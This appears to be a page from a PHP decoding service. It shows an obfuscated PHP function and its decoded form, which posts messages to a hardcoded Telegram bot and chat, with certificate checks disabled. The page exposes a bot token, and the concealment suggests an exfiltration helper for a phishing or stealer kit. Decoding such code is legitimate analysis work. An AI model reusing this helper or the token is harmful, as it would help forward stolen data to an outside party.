Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function send_telegram_msg($message) { $botToken = "\x35\x39\x33\67\66\61\65\65\x3..

Decoded Output download

<?php 
 function send_telegram_msg($message) { $botToken = "5937615565:AAH23e1YgPuS_-jTSilZZT-eB37F5V0p-7w"; $chat_id = array("-1001971810728"); $website = "https://api.telegram.org/bot" . $botToken; foreach ($chat_id as $ch) { $params = array("chat_id" => $ch, "text" => $message); $ch = curl_init($website . "/sendMessage"); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 3); curl_setopt($ch, CURLOPT_POST, 3); curl_setopt($ch, CURLOPT_POSTFIELDS, $params); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $result = curl_exec($ch); curl_close($ch); } return true; } ?>

Did this file decode correctly?

Original Code

<?php
 function send_telegram_msg($message) { $botToken = "\x35\x39\x33\67\66\61\65\65\x36\65\x3a\x41\x41\110\62\x33\145\61\x59\147\x50\165\123\137\55\152\124\x53\151\x6c\132\x5a\x54\x2d\x65\x42\x33\x37\106\x35\126\x30\x70\x2d\x37\167"; $chat_id = array("\x2d\x31\60\60\61\x39\67\61\70\x31\60\x37\62\70"); $website = "\x68\x74\x74\x70\163\72\57\x2f\141\160\x69\56\x74\145\x6c\145\147\x72\141\x6d\56\x6f\x72\147\57\142\157\x74" . $botToken; foreach ($chat_id as $ch) { $params = array("\143\x68\141\164\x5f\x69\144" => $ch, "\164\145\x78\x74" => $message); $ch = curl_init($website . "\x2f\x73\145\156\144\115\x65\163\x73\141\147\145"); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 3); curl_setopt($ch, CURLOPT_POST, 3); curl_setopt($ch, CURLOPT_POSTFIELDS, $params); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $result = curl_exec($ch); curl_close($ch); } return true; } ?>

Function Calls

None

Variables

None

Stats

MD5 fecf76d53d509baecc44d3dd382e7295
Eval Count 0
Decode Time 54 ms